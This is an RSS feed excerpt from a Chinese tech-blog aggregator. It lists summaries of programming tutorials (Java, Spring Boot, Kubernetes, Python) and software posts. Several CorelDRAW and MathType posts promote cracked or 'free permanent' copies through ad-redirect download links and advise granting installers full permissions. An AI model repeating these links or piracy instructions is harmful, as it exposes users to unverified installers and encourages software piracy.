jsp演变历史&#xA;早期只有servlet，只能使用response输出标签数据，非常麻烦后来又jsp，简化了Servlet的开发，如果过度使用jsp，在jsp中即写大量的java代码，有写html表，造成难于维护，难于分工协作再后来，java的web开发，借鉴mvc开发模式，使得程序的设计更加合理性 MVC：&#xA;M：Model，模型。JavaBean 完成具体的业务操作，如：查询数据库，封装对象 V：View，视图。JSP 展示数据 C：Controller，控制器。Servlet 获取用户的输入调用模型将数据交给视图进行展示 优缺点： 优点：</description>
    </item>
    <item>
      <title>java BigDecimal 保留两位小数</title>
      <link>https://bchobby.github.io/posts/a2ee73910f4ccae5d02d36b08a74ef35/</link>
      <pubDate>Sun, 23 Jul 2023 19:07:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a2ee73910f4ccae5d02d36b08a74ef35/</guid>
      <description>在 Java 中，可以使用 setScale 方法来设置 BigDecimal 对象的小数位数。以下是一个例子，演示了如何将 BigDecimal 对象保留两位小数：&#xA;BigDecimal number = new BigDecimal(&#34;3.1415926&#34;); BigDecimal roundedNumber = number.setScale(2, RoundingMode.HALF_UP); System.out.println(roundedNumber); // 输出结果为 3.14 在上述示例中，我们创建了一个 BigDecimal 对象 number，然后使用 setScale 方法设置小数位数为 2，并指定舍入方式为 RoundingMode.HALF_UP。最后，将结果赋值给 roundedNumber，它将保留两位小数。&#xA;请注意，setScale 方法不会修改原始的 BigDecimal 对象，而是返回一个新的 BigDecimal 对象作为结果。在设置小数位数时，需要指定舍入方式。在示例中，我们使用 RoundingMode.HALF_UP 进行四舍五入，您可以根据实际需求选择其他舍入方式。&#xA;如果想要对所有的 BigDecimal 对象都进行保留两位小数，可以考虑创建一个工具方法来处理该逻辑，便于重复使用。</description>
    </item>
    <item>
      <title>苹果mac电脑如何安装虚拟机?CrossOver Mac2023</title>
      <link>https://bchobby.github.io/posts/a54a43225b86b9b11c8e0e68e2d7b12b/</link>
      <pubDate>Sun, 23 Jul 2023 18:58:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a54a43225b86b9b11c8e0e68e2d7b12b/</guid>
      <description>Mac虚拟机怎么安装系统？macOS系统无法正常安装Windows应用，无法正常使用Windows系统中的文件。在macOS系统中安装虚拟机是一种比较恰当的解决方案。mac电脑怎么安装虚拟机？mac电脑安装虚拟机需要根据个人需求，有选择性地安装，因为有些虚拟机并不支持M1。下面我们来看详细介绍吧！&#xA;一、Mac虚拟机怎么安装系统 Mac虚拟机安装系统是一项复杂的操作，首先需要先下载Windows镜像文件，然后再通过mac虚拟机安装。&#xA;1.下载Windows镜像文件&#xA;在网上查找资源网站，然后将Windows 10镜像文件下载到mac上，这种镜像文件通常比较大，下载时间较长，而且资源网站也不容易找，有些网站还会冒充资源，携带大量计算机病毒，或者携带大量私货软件。&#xA;2.安装系统 安装系统时，我们需要借助虚拟机软件，怎么选择虚拟机软件，这个我们在第二部分再继续介绍。在mac中，常被使用的虚拟机软件是Parallels Desktop，这里我们以它为例来看看如何安装系统吧！&#xA;（1）创建虚拟机&#xA;虚拟机像一个盒子，首先要搭建Windows需要的框架。打开Parallels Desktop，单击右下角【+】便可以创建一个新的虚拟机环境。&#xA;（2）添加镜像文件&#xA;搭建了Windows系统需要的环境后，接下来要将前面下载的Windows镜像文件导入到虚拟环境中，根据文件保存路径添加即可，然后单击【继续】，进入Windows设置界面。&#xA;（3）设置Windows&#xA;这也是Parallels Desktop比较人性的一面，它会根据用户的使用场景匹配Windows系统所需要的配置方式。例如，我们这里常将虚拟机应用于办公，便可以选择【生产力】，然后单击【继续】，进入Windows基础设置界面。&#xA;（4）Windows基础设置&#xA;这里主要是设置Windows虚拟机的用户名称，以及用户登录密码。最后，单击【继续】，便完成了系统的安装。如此看来，在mac上使用虚拟机软件安装系统，是一项比较繁琐的工作。&#xA;二、mac电脑怎么安装虚拟机 mac电脑上的虚拟机有很多，有开源，也有非开源的。常见的虚拟机有刚才介绍的Parallels Desktop，还有开源的VirtualBox和VMware Workstation Pro，安装什么样的虚拟机要根据用户的个人需求，选定虚拟机后再安装便简单了。&#xA;1.怎样选择虚拟机&#xA;选择虚拟机时，首要考虑的当然是该虚拟机的功能，例如Parallels Desktop是少有的可以支持M1的虚拟机。同时，Parallels Desktop在系统恢复、图像处理、网络连接以及读写方面均明显优秀于其他mac虚拟机.，如果有这方面的需求建议安装Parallels Desktop。&#xA;Linux系统是码农们写程序时不可或缺的助手，那么作为开源的VirtualBox虚拟机便成为必要的软件了。虽然当前它不支持M1，但以后可能会适配的。&#xA;2.怎样安装虚拟机&#xA;据安装向导一步步操作便非常简单了，这里便不再过多赘述。&#xA;三、如何通过CrossOver安装Windows应用 通过上面两部分我们了解到，在mac安装虚拟机虽然能解决在mac不能安装Windows应用的障碍，但是下载安装虚拟机的成本太高，并且安装系统的学习成本也非常高，倒不如使用类虚拟机软件——CrossOver。&#xA;1.下载CrossOver&#xA;CrossOver Mac-安装包&#xA;https://wm.makeding.com/iclk/?zoneid=50028&#xA;2.安装软件&#xA;例如，我们通过【未列出的应用】路径将QQ游戏安装包导入CrossOver，然后选中安装文件，单击【继续】，便可在CrossOver创建Q游戏容器，并安装软件。&#xA;在容器内安装了运行Q游戏所需要的配置文件后，便会进入Q游戏的安装向导界面，跟随安装向导一步步操作，便能成功安装Q游戏。&#xA;3.启动应用&#xA;应用安装完成后，可以在【容器】中启动，也可以像启动mac自身应用一样在mac桌面启动应用。&#xA;四、总结&#xA;此篇内容，我们简单介绍了Mac虚拟机怎么安装系统，以及mac电脑怎么安装虚拟机。Mac虚拟机安装系统，是一项非常复杂的过程，首先要下载镜像文件，然后再通过mac虚拟机配置Windows系统所需要的环境。关于mac电脑安装虚拟机，这里我们介绍了两款常见虚拟机Parallels Desktop和VirtualBox，用户可以根据个人需求选择。在mac安装虚拟机从成本上而言，不如下载安装类虚拟机CrossOver。</description>
    </item>
    <item>
      <title>CorelDRAW2022下载附带序列号安装教程</title>
      <link>https://bchobby.github.io/posts/5559b5225b80cfbaf09e8bbe53f27e3c/</link>
      <pubDate>Sun, 23 Jul 2023 17:40:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5559b5225b80cfbaf09e8bbe53f27e3c/</guid>
      <description>CorelDRAW2022作为图形设计软件的代表，以其杰出和革新的特性赢得了长期的声誉和用户的赞赏，是一套屡获殊荣的图像编辑软件。&#xA;CorelDRAW 2022包含程序：&#xA;CorelDRAW 2022主程序矢量插图和页面布局工具&#xA;Corel PHOTO-PAINT 2022图像编辑工具：编辑照片，享受与 CorelDRAW 的集成工作流。&#xA;Core Font Manager 2022字体开发与管理工具：无需安装即可直接使用自己喜欢的字体。&#xA;PowerTRACE人工智能驱动的位图转矢量图工具&#xA;CorelDRAW.app通过网页浏览器进行在线图形设计，让您在没有电脑的时候也能登陆CDR，随时随地开展工作。&#xA;CAPTRUE屏幕捕获工具：轻松一键从计算机屏幕上捕捉图像，包括整个屏幕、单个窗口或菜单列表。&#xA;AfterShot 3 HDR原始照片编辑器：为 RAW 或 JPEG 照片进行专业级矫正和强化。&#xA;CorelDRAW 2022版延续并加强以往的传统，通过一整套专业的图形程序，让您在设计路上无往不利，轻松地转换各个工具。&#xA;这些新增的功能，在CorelDRAW中文官网上都能找到专业的文字和视频教程，保证您能够熟练地掌握每一种功能、运用每一个程序；更有专家为您提供专业建议，优秀案例供您寻找灵感，是您平面设计的得力助手。&#xA;CorelDRAW2022简称cdr2022中文版，是加拿大Corel公司推出的专业矢量插图、布局和照片编辑工具，经历二十多年的发展与蜕变，也已经有了32个版本，能给设计师提供矢量动画、页面设计、网站制作、位图编辑和网页动画等多种功能，使用户可创作出多种富于动感的特殊效果及点阵图像即时效果在简单的操作中就可得到实现，并引入了强大的新版式引擎、多功能颜色和谐和样式工具、通过64位和多核支持改进的性能以及完整的自助设计网站工具，帮助专业设计师及绘图爱好者提供简报、彩页、手册、产品包装、标识、网页等资源，以此允许用户更加容易精确地创建物体的尺寸和位置，减少点击步骤，节省设计时间。&#xA;cdr2022安装教程&#xA;1、在我博客下载解压获得coreldraw2022完整64位；&#xA;2、双击“CorelDRAW Graphics Suite 2022 V22.0.0.412 完整64位”开始安装，点击“允许程序所有操作”；&#xA;3、默认注册完成，点击下一步；&#xA;4、选择安装选项，这里小编已自定义安装为例；&#xA;5、选择您想要安装的程序；&#xA;6、选择您想要安装的程序功能；&#xA;7、选择文件安装路径；&#xA;8、正在安装，请稍等；&#xA;9、提示安装完成，点击桌面快捷方式运行软件即可；&#xA;10、以上即coreldraw2022的全部安装过程，希望能对您有所帮助！&#xA;直接复制粘贴地址下载即可绿色安装2022：&#xA;CDR最新win版下载：&#xA;https://wm.makeding.com/iclk/?zoneid=41581&#xA;CDR最新mac版下载：&#xA;https://wm.makeding.com/iclk/?zoneid=42701&#xA;X8版本详情查询：&#xA;https://blog.csdn.net/CaiHuaZeiPoJie/article/details/107589634</description>
    </item>
    <item>
      <title>K8S实战笔记--1（k8s安装 &#43; kuboard安装 &#43; Devops迁移ECS）</title>
      <link>https://bchobby.github.io/posts/b87fec1ce5c826d3c530023310509675/</link>
      <pubDate>Sun, 23 Jul 2023 17:07:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b87fec1ce5c826d3c530023310509675/</guid>
      <description>0. 引言 在DevOps实战笔记–3，我们介绍了使用Jenkins流水线任务进行项目的自动化CI/CD，借助pipeline脚本(Jenkinsfile)可以方便地对项目进行统一的配置管理，并且将Jenkinsfile 存放在Gitlab中以便于后期维护。同时，我们对于K8S也有了初步的了解，限于实验机器的硬件条件，题主决定采用外部云服务器进行K8S的相关实验。本篇将从采购阿里云ECS服务器开始，对K8S集群的搭建进行讲解。&#xA;1. 搭建K8S集群并配置集群管理工具 1.1 Kuboard简介 Kuboard是一个K8S的多集群管理界面，在Github开源。使用Kuboard提供了多种认证方式，在Kuboard可以使用内建用户库、gitlab / github 单点登录或者 LDAP 用户库进行认证，避免管理员将 ServiceAccount 的 Token 分发给普通用户而造成的麻烦。使用内建用户库时，管理员可以配置用户的密码策略、密码过期时间等安全设置。并且，通过Kuboard可以使用图形界面进行工作负载的编辑，使用户从繁琐的YML文件中解放出来。&#xA;更多详情请见：Kuboard官网&#xA;1.2 购置ECS云服务器 国内主流的ECS供应商有：阿里云、华为云、腾讯云等。&#xA;阿里云：官网详情&#xA;华为云：官网详情&#xA;腾讯云：官网详情&#xA;读者可以根据自身条件选择合适的云服务器供应商，本次实验以阿里云服务器为例，通过阅读Kuboard官网的Kubernetes安装文档，根据其要求的规格进行服务器采购，具体的服务器规格为：2核4G的服务器至少两台（需要至少一台作为主节点、一台作为从节点）、CPU 必须为 x86架构、支持的操作系统为CentOS 7.8、 CentOS 7.9或 Ubuntu 20.04。&#xA;购置完成后，从对应供应商的web控制台中查看已经创建好的实例，使用SSH服务利用公网IP对服务器进行远程连接（服务器默认开启22端口）。在远程连接服务器时，可能出现如下错误：No supported authentication methods available [preauth]。解决方法为：查看 /etc/ssh/sshd_config是否配置了参数PasswordAuthentication为no，将其改为yes后利用systemctl restart sshd重启SSH服务。&#xA;1.3 安装K8S集群并搭建集群管理工具 Kubernetes + Kuboard安装难度相对较低，在Kuboard官网中，我们可以详细查阅Kuboard的安装文档：《Kuboard安装手册》，对应此安装文档，可以完成对应版本kuboard的安装。查看Kuboard v3.x版本说明，对比Kuboard兼容性列表，观察到Kuboard v3对大多数Kubernetes版本都有支持。值得一提的是，最新版本的Kubernetes已经舍弃了Docker并使用了其他的容器技术，鉴于本实验更多侧重于Docker容器技术的使用，建议选择Kubernetes v1.19版本。&#xA;1.4 将CI/CD服务迁移至云服务器 现将如下服务流程迁移至云服务器：Gitlab -&amp;gt; Jenkins -&amp;gt; Sonarqube -&amp;gt; Harbor，除此之外，需要的支撑服务为：jdk + maven + docker等。&#xA;迁移CI/CD的工作流程为：&#xA;进行jdk + maven的安装，将其加入环境变量，运行source profile使配置生效，更改MAVEN_HOME/conf下的settings.xml文件，在其中配置国内镜像加速地址，并修改原有jdk编译插件为1.8版本。&#xA;在创建ECS实例时，若未选择在实例中添加自定义docker镜像，可选择手动安装docker。在使用docker20.10.9及以下版本时，经docker-compose命令创建并运行容器时可能出现线程创建错误，将docker升级后解决。</description>
    </item>
    <item>
      <title>Springboot-MyBatis配置-配置端口号与服务路径(idea社区版2023.1.4&#43;apache-maven-3.9.3-bin)</title>
      <link>https://bchobby.github.io/posts/9074af8ea0919676b085433e33783532/</link>
      <pubDate>Sun, 23 Jul 2023 16:42:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9074af8ea0919676b085433e33783532/</guid>
      <description>目录&#xA;MyBatis的Maven包&#xA;application.properties配置文件位置&#xA;项目结构层次&#xA;编码过程&#xA;1、model/Users.java&#xA;2、dao/UsersMapper.java&#xA;3、resources/mapper/UsersMapper.xml&#xA;4、service/UsersService.java&#xA;5、serviceimpl/UsersServiceImpl.java&#xA;6、controller/UsersController.java&#xA;7、Action.java&#xA;启动校验&#xA;总结&#xA;承接上文：Springboot快速搭建跨域API接口(idea社区版2023.1.4+apache-maven-3.9.3-bin)_红目香薰的博客-CSDN博客&#xA;MyBatis的Maven包 &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!-- 热部署 --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-devtools&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!-- Web支持 --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-web&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!-- JDBC --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-jdbc&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!-- MySQL驱动 --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;mysql&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;mysql-connector-java&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!-- 集成MyBatis --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.mybatis.spring.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;mybatis-spring-boot-starter&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.1.2&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!-- junit --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;junit&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;junit&amp;lt;/artifactId&amp;gt; &amp;lt;scope&amp;gt;test&amp;lt;/scope&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!-- 测试 --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-test&amp;lt;/artifactId&amp;gt; &amp;lt;scope&amp;gt;test&amp;lt;/scope&amp;gt; &amp;lt;exclusions&amp;gt; &amp;lt;exclusion&amp;gt; &amp;lt;groupId&amp;gt;org.</description>
    </item>
    <item>
      <title>线程的join和yield</title>
      <link>https://bchobby.github.io/posts/7cafc0de27d4c941d88c2b13dfc5e4bf/</link>
      <pubDate>Sun, 23 Jul 2023 15:41:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7cafc0de27d4c941d88c2b13dfc5e4bf/</guid>
      <description>一、线程的join 主要作用是同步，它可以使得线程之间的并行执行变为串行执行。在A线程中调用了B线程的join()方法时，表示只有当B线程执行完毕时，A线程才能继续执行。调用这个方法的线程将被阻塞，即A进入阻塞状态。&#xA;- 方法join(long)的功能在内部是使用wait(long)方法来实现的，所以join(long)方法具有释放锁的特点。但是sleep(long)不释放锁。&#xA;现有T1、T2、T3三个线程，怎样保证T2在T1执行完后执行，T3在T2执行完后执行&#xA;package com.yan2; //现有T1、T2、T3三个线程，怎样保证T2在T1执行完后执行，T3在T2执行完后执行 public class Test41 { public static void main(String[] args) { Thread t1=new Thread() { @Override public void run() { System.out.println(Thread.currentThread().getName()+&#34; begin...&#34;); System.out.println(Thread.currentThread().getName()+&#34; end...&#34;); } }; Thread t2=new Thread() { @Override public void run() { try { t1.join(); } catch (InterruptedException e) { e.printStackTrace(); } System.out.println(Thread.currentThread().getName()+&#34; begin...&#34;); System.out.println(Thread.currentThread().getName()+&#34; end...&#34;); } }; Thread t3=new Thread() { @Override public void run() { try { t2.</description>
    </item>
    <item>
      <title>Python基础知识-1</title>
      <link>https://bchobby.github.io/posts/57d87f2a99753b5c33b560d72d40ccec/</link>
      <pubDate>Sun, 23 Jul 2023 14:57:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/57d87f2a99753b5c33b560d72d40ccec/</guid>
      <description>注释的使用 #表示的是一个注释 print(&#34;hello world&#34;) 常见的数据类型 数字类型： 整数型int print(10) 浮点型float print(3.1415) 复数complex print((-1)**0.5) 字符串类型 布尔型 列表型/数组型 [&#39;aa&#39;,&#39;bb&#39;] 字典类型 {&#39;name&#39;:&#34;lhh&#34;,&#39;user&#39;:&#39;秦始皇&#39;} 元祖型 （1,2,3,552,3,4,5） 集合类型 {9,&#39;hello&#39;,true,&#39;good&#39;} 查看数据类型 a = (-1)**0.5 b = 2**2 print(a,b) print(type(a)) print(isinstance(c,str)) #Ture 不同进制数据的表示方式 a = 98 #十进制 b = 0b0101010101 #二进制 c = 0o23 #八进制 d = 0x1134 #十六进制 循环语句 import random tempNum = int(input(&#39;请输入指定数字:&#39;)) secret = random.randint(1, 10) print(secret) while tempNum != secret: temp = int(input(&#34;猜错啦！请重新输入：&#34;)) if temp &amp;gt; secret: print(&#34;</description>
    </item>
    <item>
      <title>【CS61B】 课后练习 HW 0: A Java Crash Course</title>
      <link>https://bchobby.github.io/posts/4ba8a6887835b0f8fc5cfffe18fff3b6/</link>
      <pubDate>Sun, 23 Jul 2023 13:22:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4ba8a6887835b0f8fc5cfffe18fff3b6/</guid>
      <description>文章目录 Exercise 1a: Drawing a TriangleExercise 1b: DrawTriangleExcercise2Exercise 3Exercise 4 Exercise 1a: Drawing a Triangle public class TriangleDrawer { public static void main(String[] args) { int i=1; while(i&amp;lt;=5){ int cnt=i; while(cnt&amp;gt;0){ System.out.print(&#39;*&#39;); cnt--; } System.out.println(); i++; } } } Exercise 1b: DrawTriangle public class TriangleDrawer { public static void drawTriangle(int N) { int i=1; while(N&amp;gt;0){ int cnt=i; while(cnt&amp;gt;0){ System.out.print(&#39;*&#39;); cnt--; } System.out.println(); N--; i++; } } public static void main(String[] args) { drawTriangle(5); } } Excercise2 public class ClassNameHere { public static int max(int[] m) { int len=m.</description>
    </item>
    <item>
      <title>cdr x4检测显示软件产品已被禁用警告弹窗，如何解决教程分享</title>
      <link>https://bchobby.github.io/posts/ed258ea752640021ec6bedd058c1f37c/</link>
      <pubDate>Sun, 23 Jul 2023 12:43:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ed258ea752640021ec6bedd058c1f37c/</guid>
      <description>偶尔翻开移动硬盘，找到这货，CorelDraw X4简体中文正式版。网上现在比较难下载得到了，X4是我最常用的一个。现在把它分享出来，有需要的可以去下载使用。&#xA;orelDRAW X4打开显示被禁用！这个是解决方法很简单！&#xA;解决方法：&#xA;首先，卸载原来的CorelDRAW X4；&#xA;把存在电脑里的盗版CDR清除掉，安装最新版，即可使用。&#xA;这个是完整安装版，，安装好直接就可以使用了。&#xA;安装方法，解压，运行autorun.exe，选CorelDRAW安装即可。&#xA;安装完提示：产品安装不成功，请重新安装（错误24），请下载此补丁：下载，DR14.dta文件换掉原有程序 …\CorelDRAW X4\Programs 目录下的DR14.dta文件。原有程序目录查看方式: 有软件图标上右键,看快捷方式中的目标位置。&#xA;CorelDraw X4更新2020简体中文正式版下载地址：&#xA;WIN版本下载：http://wm.makeding.com/iclk/?zoneid=33861&#xA;MAC版本下载：http://wm.makeding.com/iclk/?zoneid=33862&#xA;2020版更新内容详情：&#xA;https://blog.csdn.net/CaiHuaZeiPoJie/article/details/105992542</description>
    </item>
    <item>
      <title>CorelDRAW x4提示非法软件产品被禁用解决方法教程</title>
      <link>https://bchobby.github.io/posts/77d8b2f58c7aa6a13ff2f110bb4b9947/</link>
      <pubDate>Sun, 23 Jul 2023 12:43:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/77d8b2f58c7aa6a13ff2f110bb4b9947/</guid>
      <description>说起PS大部分人都有所耳闻，甚至会一些简单的操作。但是CDR x4这名字相信有很多人就很陌生了，所以在这里也很有必要先说一下CDR到底是个什么样的存在。&#xA;CDR全名CorelDRAW ，是加拿大Corel公司出品的矢量图形制作工具软件，这个图形工具给设计师提供了矢量动画、页面设计、网站制作、位图编辑和网页动画等多种功能，它跟PS最大的区别就是PS通常用来处理制作位图，它用来绘制矢量图，而矢量图不失真的特点也深受设计师的喜爱，然而对于想学这款软件的个人而言，它的价格也无疑高的离谱，官方税前售价竟然在8000RMB左右。&#xA;CDR作为成名杰作，Corel公司对于它的盗版打击力度无疑也是非常的大，很多朋友下载破解版或者用注册机注册以后只要电脑联网，很快就会被官方检测出来变为30天试用期的评估版，对于此种情况小编也是做了多种努力却也毫无作用，也是一次偶然的机会在这款软件的交流群群中有人提到了这种方法，经多多次的查找相关内容和实验最终破解成功，到目前为止都没有被官方检测出来，下面就把这种方法分享给大家。&#xA;这种方法大家都称为卸载再次安装法:将CDR官方检测盗版，把存在电脑里的CDR清除安装最新版即可使用。&#xA;分享最新版地址：&#xA;WIN版本下载：http://wm.makeding.com/iclk/?zoneid=33861&#xA;MAC版本下载：http://wm.makeding.com/iclk/?zoneid=33862&#xA;2020版更新详情：&#xA;https://blog.csdn.net/CaiHuaZeiPoJie/article/details/105992542</description>
    </item>
    <item>
      <title>MathType7应用中文版特色功能介绍</title>
      <link>https://bchobby.github.io/posts/1723faffb51110369eb5cbc63a6e3643/</link>
      <pubDate>Sun, 23 Jul 2023 12:39:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1723faffb51110369eb5cbc63a6e3643/</guid>
      <description>MathType 是由美国Design Science公司开发的功能强大的数学公式编辑器，它同时支持Windows和Macintosh 操作系统，与常见的文字处理软件和演示程序配合使用，能够在各种文档中加入复杂的数学公式和符号。2021年11月1日，MathType升级到MathType 6.9简体中文版。 实现了“所见即所得”的工作模式，可以将编辑好的公式保存成多种图片格式或透明图片模式，可以很方便的添加或移除符号、表达式等模板（只需要简单地用鼠标拖进拖出即可)，也可以很方便地修改模板。&#xA;MathType 实现“所见即所得”的工作模式，是一个强大的数学公式编辑器。它可以将编辑好的公式保存成多种图片格式或透明图片模式，可以很方便的添加或移除符号、表达式等模板（只需要简单地用鼠标拖进拖出即可)，也可以很方便地修改模板。MathType公式编辑器软件主要使用用户为初中、高中以及大学的学生、老师，理科专业工作者，可用于编辑数学试卷、书籍、报刊、论文、幻灯演示等方面，是编辑数学、物理公式资料的必备工具。&#xA;MathType 6.9简体中文版新特性：&#xA;兼容Windows 8；&#xA;兼容Microsoft Office 2013；&#xA;MathPage技术进一步改善；&#xA;兼容800个以上的应用程序和网站。&#xA;综上，Mathtype公式编辑器可能更容易让大家接受，也是目前用户相当多的一款公式编辑器软件，其用户主要为初中、高中以及大学的学生、老师，理科、工科专业工作者，可用于编辑数理化试卷、书籍、报刊、论文、幻灯演示等方面，是编辑数理化公式资料的必备神器。小编今天就给大家介绍下这款工具。&#xA;MathType主要优势：&#xA;Euclid字体设置了几百个数学符号；&#xA;具有应用于几何、化学及其他方面的新样板和符号；&#xA;专业的颜色支持；&#xA;为全球广域网创建公式。&#xA;将输出公式译成其他语言(例如：TeX、AMS-TeX、LaTeX、MathML及自定义语言)的翻译器。&#xA;用于公式编号、格式设置及转换Microsoft Word文档的专用命令。&#xA;可自定义的工具栏，可容纳最近使用过的几百个符号、表达式和公式。&#xA;可自定义的键盘快捷键。&#xA;在编辑公式这个方面来说，MathType是使用最多的一个工具，因为它操作简单，不需要复杂的学习过程就可以很快地掌握操作技巧，并且功能也比Office自带的公式编辑器完善很多，可以对公式进行批量修改、编号等一系列的排版操作，所以它被越来越多的人群来使用。&#xA;目前市面上流传的MathType破解版都是英文的， 对于英文比较好的人来说这个没有问题，但是还有相当多的一些用户对英文是不感冒的，因此非常不方便!&#xA;所以建议大家还是使用最新的MathyType版本。除了兼容性之外，MathType 在其它一些功能方面也不如MathType 完善，但是对于简单的编辑公式是没有问题。&#xA;简要介绍MathType在Word中使用：&#xA;1.支持Word办公&#xA;Office Web Apps、移动Office和Office RT：上述软件不可以编辑MathType公式，但是可以显示和打印在其他Office版本上已经建立的公式。32和64位的Office：MathType 最新版本完完全全兼容上述软件。&#xA;2：插入公式：不管是否有公式编号，Word功能区的MathType选项卡都可以轻松插入公式。&#xA;3.在文档中更改公式的字体和格式&#xA;MathType在Word中增加了自己的菜单栏，涵盖了很多有用的命令。公式格式就是其中之一，它允许你更改文档中所有公式的字体和样式。&#xA;4.内联编辑公式或独立的窗口编辑公式&#xA;两种编辑模式：MathType允许像其他公式编辑器一样编辑内联公式，也可以在独立的窗口编辑。多个缩放级别：在一个正常缩放级别的Word文档中编辑公式的时候很难识别小的下标、上标和重音符号。例如，文档在正常缩放级别工作，但是你可以在MathType 400%的缩放比例下编辑公式。&#xA;5.在Word里使用键盘输入公式&#xA;在Word文档窗口只使用键盘来输入公式：MathType在Word加入了键盘快捷键，这样只需敲击一下键盘就可以插入一个新的公式或者编辑现有的公式。&#xA;用Tex直接输入公式到Word中：你可以直接在Word中直接打出Tex代码，当你输入完成后，按下Alt+\（转换Tex）来将它转换成MathType中的公式。随后，如果你想编辑公式的Tex代码，只需要再次按下Alt+\。&#xA;6.公式编号&#xA;插入公式编号：在您公式的左边或右边插入章、节或公式编号，如果后来您在文档中间插入一个新的公式，文档中的的所有公式都将自动重新编号。&#xA;公式编号格式：可以自定义更改公式编号的格式，应用于章、节或公式编号。&#xA;7.在文档中查看所有公式和公式编号&#xA;拓展Word的浏览特色：您可以用MathType的公式浏览器去查看文档中所有的公式或者检查所有公式编号和参数的连续性。&#xA;1.安装过程&#xA;首先去下载最新版程序的安装包，与其它软件安装时要附带一堆不必要的安装包不一样，也没有复杂的安装过程，需要这样那样的操作，直接进行傻瓜式的“下一步”直到安装成功，整个过程只需要几分钟的时间，安装过程十分简单。（末尾我会分享最新绿色直装版安装包）&#xA;2.开启工具&#xA;打开我们需要编辑公式的文档（用Office或WPS均可），点击菜单栏的插入按钮并选择对象，在弹出的对象选择框中，选择前面我们按照步骤安装完成的MathType.0Equation并点击确定即可。&#xA;3.简洁实用的编辑界面&#xA;打开MathType公式编辑器，就进入到它的编辑界面。在这个编辑界面，你可以一目了然的看到符号面板中的一些符号与模板，这些符号与模板都是我们常用的，没有复杂的操作，没有眼花缭乱的修饰图标，直接一眼望穿。&#xA;4.快速的上手过程&#xA;和其它工具不一样，需要一个繁琐系统的学习时间，你只要能够打开MathType编辑器，你就会使用它，几乎完全不需要过渡学习的时间。由于MathType是所见即所得的工作模式，你只要点击了MathType工具栏中的符号或者模板，你就可以在编辑区域中看到这些符号和模板是不是你的需要。可以说，只要你知道你的公式长什么样，你就能在MathType中将它编辑出来并分类保存。&#xA;好了，小编今天就介绍到这里，总之这款软件方便快捷，占用内存小，用法简单，画面简约。只有你不知道的公式，没有它输入不上的公式，不只有数学公式，还有物理公式，只要你想在word中插入公式，用MathType就能轻松搞定。如果你还不知道下载最新版软件，直接点击下面链接在线安装最新版，或对这款软件有什么疑问，欢迎到评论区留言。&#xA;MathType Win下载如下:&#xA;https://wm.makeding.com/iclk/?zoneid=34223&#xA;MathType Mac下载如下:</description>
    </item>
    <item>
      <title>coreldraw2022直装版下载 永久免费使用 附安装教程（ 仅限 win 10 用户 ）</title>
      <link>https://bchobby.github.io/posts/788b5cb055e188b6e8d3087a6ddea795/</link>
      <pubDate>Sun, 23 Jul 2023 12:38:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/788b5cb055e188b6e8d3087a6ddea795/</guid>
